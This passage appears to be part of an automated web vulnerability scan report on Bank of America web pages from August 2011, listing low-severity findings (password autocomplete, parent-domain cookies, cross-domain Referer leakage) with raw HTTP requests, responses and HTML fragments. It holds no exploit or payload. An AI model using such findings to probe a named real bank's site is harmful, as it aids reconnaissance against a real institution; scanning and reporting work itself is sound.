onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlWlCrip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Loan term (months)' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_tradeinvalue" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlXZxpWlZr1pxrXl1Z21DrEBxr2sNpmJvllc2onhEs21ycjEBcTUAcjw2onhEs21yczFWh0pWh0o@" target="_blank" title="View Glossary Term: 'Value of your trade-in*' in a new browser window." onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlXZxpWlZr1pxrXl1Z21DrEBxr2sNpmJvllc2onhEs21ycjEBcTUAcjw2onhEs21yczFWh0pWh0o@',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Value of your trade-in*' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_cashrebate" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NgGVDqVZ1o2VEpip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW" target="_blank" title="View Glossary Term: 'Cash rebate*' in a new browser window." onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NgGVDqVZ1o2VEpip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Cash rebate*' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]...
3. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://www.bankofamerica.com
Path:
/merchantservices/index.cfm
Issue detail
The page contains a form with the following action URL:
The form contains the following password field with autocomplete enabled:
password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /merchantservices/index.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:40 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: http://corp.bankofamerica.com/public/public.portal?_pd_page_label=merchant/index/default&cm_mmc=General-_-vanity-_-ZZ01VN004H_merchant-_-NA Page-Completion-Status: Normal Set-Cookie: RECONNECT=0; path=/; domain=.bankofamerica.com; secure Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN ...[SNIP]... </SCRIPT>
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /onlinebanking/?adlink=0003020520000000a584 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:27:10 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: BOFAPROMOENTRY=0003020520000000a584; expires=Thu, 22-Sep-2011 13:27:10 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: PROMO=0003020520000000a584; expires=Thu, 22-Sep-2011 13:27:10 GMT; path=/; Set-Cookie: TRACKING_CODE=0003020520000000a584; expires=Thu, 22-Sep-2011 13:27:10 GMT; path=/; Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /onlinebanking/index.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:26:58 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Connection: close Set-Cookie: BIGipServerngen-www.80=1707521707.20480.0000; path=/
...[SNIP]...
5. Cross-domain Referer leakagepreviousnext There are 13 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /deposits/checksave/index.cfm?template=lc_faq_ATM HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:25:49 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Set-Cookie: GMDEALER=false; path=/; domain=.bankofamerica.com; Set-Cookie: GMDEALERSECURE=false; path=/; domain=.bankofamerica.com; secure Set-Cookie: GMREFERRAL=false; path=/; domain=.bankofamerica.com; Set-Cookie: GMREFERRALSECURE=false; path=/; domain=.bankofamerica.com; secure Connection: close
GET /deposits/checksave/index.cfm?template=keep_change&context=keep_change HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:25:47 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Set-Cookie: GMDEALER=false; path=/; domain=.bankofamerica.com; Set-Cookie: GMDEALERSECURE=false; path=/; domain=.bankofamerica.com; secure Set-Cookie: GMREFERRAL=false; path=/; domain=.bankofamerica.com; Set-Cookie: GMREFERRALSECURE=false; path=/; domain=.bankofamerica.com; secure Connection: close
GET /index.cfm?page=corp HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:26:46 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
GET /merchantservices/index.cfm?template=merch_ov.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved permanently Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:40 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Location: /small_business/merchant_card_processing/index.cfm?template=merchant_services Page-Completion-Status: Normal Set-Cookie: RECONNECT=0; path=/; domain=.bankofamerica.com; secure Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:19:04 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Content-Length: 72797
GET /onlinebanking/index.cfm?context=sp HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:27:17 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: BOFAPROMOENTRY=; expires=Thu, 22-Sep-2011 13:27:07 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=sp; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: PROMO=; expires=Thu, 22-Sep-2011 13:27:07 GMT; path=/; Set-Cookie: TRACKING_CODE=; expires=Thu, 22-Sep-2011 13:27:07 GMT; path=/; Connection: close
GET /promos/jump/gmmsboost/?cm_sp=Dep-MoneyMarketSavings-_-GMMSBoost-_-MM16LT0001_mks_save_overview HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:37:00 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xh ...[SNIP]... <noscript> <iframe src="http://fls.doubleclick.net/activityi;src=1359940;type=check839;cat=newgm979;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe> ...[SNIP]...
GET /promos/jump/ktc_coinjar/?cm_sp=DEP-Savings-_-KTC-_-DS16LT0024_Left%20Nav%20Ad_Coinjar HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:36:06 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XH ...[SNIP]... <noscript> <iframe src="https://fls.doubleclick.net/activityi;src=1359940;type=check839;cat=2011s610;ord=1;num=1?" width="1" height="1" frameborder="0" style="display:none"></iframe> ...[SNIP]...
GET /safesend/?lang=en HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:41:27 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
GET /vehicle_and_personal_loans/index.cfm?template=rv_loans HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:29:36 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Connection: close
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:19:25 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Content-Length: 104456
GET /vehicle_and_personal_loans/index.cfm?template=learn_calculators&context=financenter&calcid=auto11 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:30:20 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Connection: close
<style type="text/css" media="all"> .stb_newtext { color:#CC0000; } .standard-text1 { co ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_downpayment" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NhWNHr1RxumF1r3g2qnd*jWV_pDF1r1NlkCpxtXhCqmYBfjUAcjQBeSpxtXhCqmYCfkpWh0pWhw@@" target="_blank" title="View Glossary Term: 'Down payment' in a new browser window." onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NhWNHr1RxumF1r3g2qnd*jWV_pDF1r1NlkCpxtXhCqmYBfjUAcjQBeSpxtXhCqmYCfkpWh0pWhw@@',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Down payment' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]... <span class="fc_paragraph_font" ><img alt="" width="12" height="1" src="http://partners.leadfusion.com/tools/admincenter/images/spacer.gif"></span> ...[SNIP]... <span class="fc_paragraph_font" ><img alt="" width="12" height="1" src="http://partners.leadfusion.com/tools/admincenter/images/spacer.gif"></span> ...[SNIP]... <span class="fc_paragraph_font" ><img alt="" width="12" height="1" src="http://partners.leadfusion.com/tools/admincenter/images/spacer.gif"></span> ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_term" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlWlCrip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW" target="_blank" title="View Glossary Term: 'Loan term (months)' in a new browser window." onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlWlCrip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Loan term (months)' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]... <span class="fc_paragraph_font" ><img alt="" width="12" height="1" src="http://partners.leadfusion.com/tools/admincenter/images/spacer.gif"></span> ...[SNIP]... <span class="fc_paragraph_font" ><img alt="" 